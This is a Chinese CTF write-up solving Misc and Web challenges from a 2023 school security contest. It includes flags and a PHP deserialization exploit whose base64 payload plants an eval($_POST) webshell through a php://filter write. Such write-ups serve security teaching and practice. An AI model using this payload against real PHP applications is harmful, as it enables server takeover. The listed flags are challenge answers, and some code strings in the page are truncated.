• WP光电信息学院2023年网络安全季度挑战赛-测试赛


    签个到就跑WP

    Misc

    MISC-没爱了,下一个

    下载附件压缩包解压之后,获得一个流量包文件
    image.png
    使用wireShark打开流量包,Ctrl + F 搜索flag{即可获得flag
    image.png

    flag{Good_b0y_W3ll_Done}
    
    • 1

    MISC-送你一朵小花花

    下载附件压缩包解压之后,获得一个JPG图片文件
    image.png
    用010打开查看,在文件尾部发现Unicode编码
    image.png
    使用随便一个在线解Unicode编码的网站解密https://c.runoob.com/front-end/3602/
    即可获得flag
    image.png

    key{you are right}
    
    • 1

    MISC-镜子里面的世界

    考察LSB隐写
    image.png
    image.png
    image.png
    image.png

    flag{st3g0_saurus_wr3cks}
    
    • 1

    Web

    WEB_workhard

    参考博客:

    打开后什么也没有,查看源代码,发现一个txt,访问后发现php代码。典型的代码审计,考查了几个函数

    1. -eregi
    eregi — 不区分大小写的正则表达式匹配
    int eregi( string $pattern, string $string[, array &$regs] )
    
    本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。 
    Example #1 eregi() 例子
    <?php
    $string = 'XYZ';
       if (eregi('z', $string)) {
        echo "'$string' contains a 'z' or 'Z'!";
    }
    ?> 
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    2.strlen()计算字符长度。
    3.file_get_contents(),将文本以字符串的形式输出。
    4.stripos — 查找字符串首次出现的位置(不区分大小写)

    if(!$_GET['id'])//id不能为零
    {
    	header('Location: index.php?id=1');
    	exit();
    }
    $id=$_GET['id'];
    $a=$_GET['a'];
    $b=$_GET['b'];
    if(stripos($a,'.'))//a中不能有点
    {
    	echo 'Hahahahahaha';
    	return ;
    }
    $data = @file_get_contents($a,'r');//a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话
    if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 /*b要长度大于5*/and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4/*第一个数字不能为4*/)
    {
    	require("flag.txt");
    }
    else
    {
    	print "work harder!harder!harder!";
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    所以题的大致意思就是,传递三个参数,id不能为零,但是要等于零,a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话,b要长度大于5,第一个数字不能为4。

    • id这个绕过需要用弱类型来解决 id=‘a’
    • a这个绕过需要用到php伪协议,a=php://input或者 a=data:,1112 is a nice lab!
    • b这个绕过需要用到%00截断,当eregi这个函数遇到%00时,就不会再继续比较了。
    • 给出payload,体会一下

    然后获得flag

    WEB_login_wc

    注册一个admin管理员账号登录即可

    WEB_simple_ser

    image.png
    参考:https://zhuanlan.zhihu.com/p/51628607
    查考php反序列化,任意文件写入,函数绕过
    1.打开题目进行源码审计,通过代码可以看出考点应为反序列化的漏洞,通过fileput函数,进行文件的写入

     
    class cls1{ 
        var $cls; 
        var $arr; 
    
        function show(){ 
            show_source(__FILE__); 
        } 
    
        function __wakeup(){ 
            foreach($this->arr as $k => $v){ 
                echo $this->cls->$v; 
            } 
    
        } 
    } 
    
    class cls2{ 
        var $filename = 'hello.php'; 
        var $txt = ''; 
        function __get($key){ 
            if($key == 'fileput'){ 
                return $this->fileput(); 
            }else{ 
                return '

    '.htmlspecialchars($key).'

    '
    ; } } function fileput(){ if( strpos($this->filename,'../') !== false || strpos($this->filename,'\\') !== false ) die(); $content = ''; $content .= $this->txt; file_put_contents($this->filename, $content); return htmlspecialchars($content); } } if(!empty($_POST)){ $cls = base64_decode($_POST['ser']); $instance = unserialize($cls); }else{ $a = new cls1(); $a->show(); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49

    2.构造反序列化代码

    
    class cls1{
        var $cls;
        var $arr;
        function __construct(){
            $this->cls = new cls2();
            $this->arr = array('fileput'=>'fileput');
        }
    }
    
    class cls2{
        var $filename = 'e.php';
        var $txt = ';
    }
    print_r(base64_encode(serialize(new cls1())));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    3.使用该代码传入post的ser参数,可以在服务器当前目录下生成e.php文件,但是应为程序会写入die()函数,所以 并没有执行我们构造的代码
    4.我们可以通过使用php://filter来绕过这个限制,这里也可以使用其他方法。
    利用php://filter/write=convert.base64-decode/resource=e.php就可以以base64的形式向写入e.php。这样就可以将前面的die变成无效字符,从而执行我们想执行的代码

    • 具体payload如下
    
    class cls1{
        var $cls;
        var $arr;
        function __construct(){
            $this->cls = new cls2();
            $this->arr = array('fileput'=>'fileput');
        }
    }
    
    class cls2{
        var $filename ;
        var $txt;
        function __construct(){
            $this->filename = 'php://filter/write=convert.base64-decode/resource=e.php';
            $this->txt = ';
            $this->txt = base64_encode($this->txt);
        }
    }
    
    print_r(base64_encode(serialize(new cls1())));
    Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU1OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWUucGhwIjtzOjM6InR4dCI7czo0MDoiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKcFkzRnBZM0VpWFNrNyI7fXM6MzoiYXJyIjthOjE6e3M6NzoiZmlsZXB1dCI7czo3OiJmaWxlcHV0Ijt9fQ==
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    6.然后webshell连接工具连上,就可以在根目录看到flag了
    image.png

  • 相关阅读:
    构建银行人工智能用户画像和自动营销体系
    海康Visionmaster-环境配置:MFC 二次开发环境配置方法
    因密封件故障导致接头泄漏的原因有哪些
    《开源大模型食用指南》全网发布,轻松助你速通LLM大语言模型!
    【GNN】用 GCN 预测 CoraGraphDataset 结点类别
    CF547E Mike and Friends (AC 自动机+树状数组)
    【图像处理】VS编译opencv源码,并调用编译生成的库
    混合专家模型 (MoE) 详解
    Java程序员常用英语单词800+(建议收藏)
    C# 取消一个不带CancellationToken的任务?
  • 原文地址:https://blog.csdn.net/weixin_64422989/article/details/134346149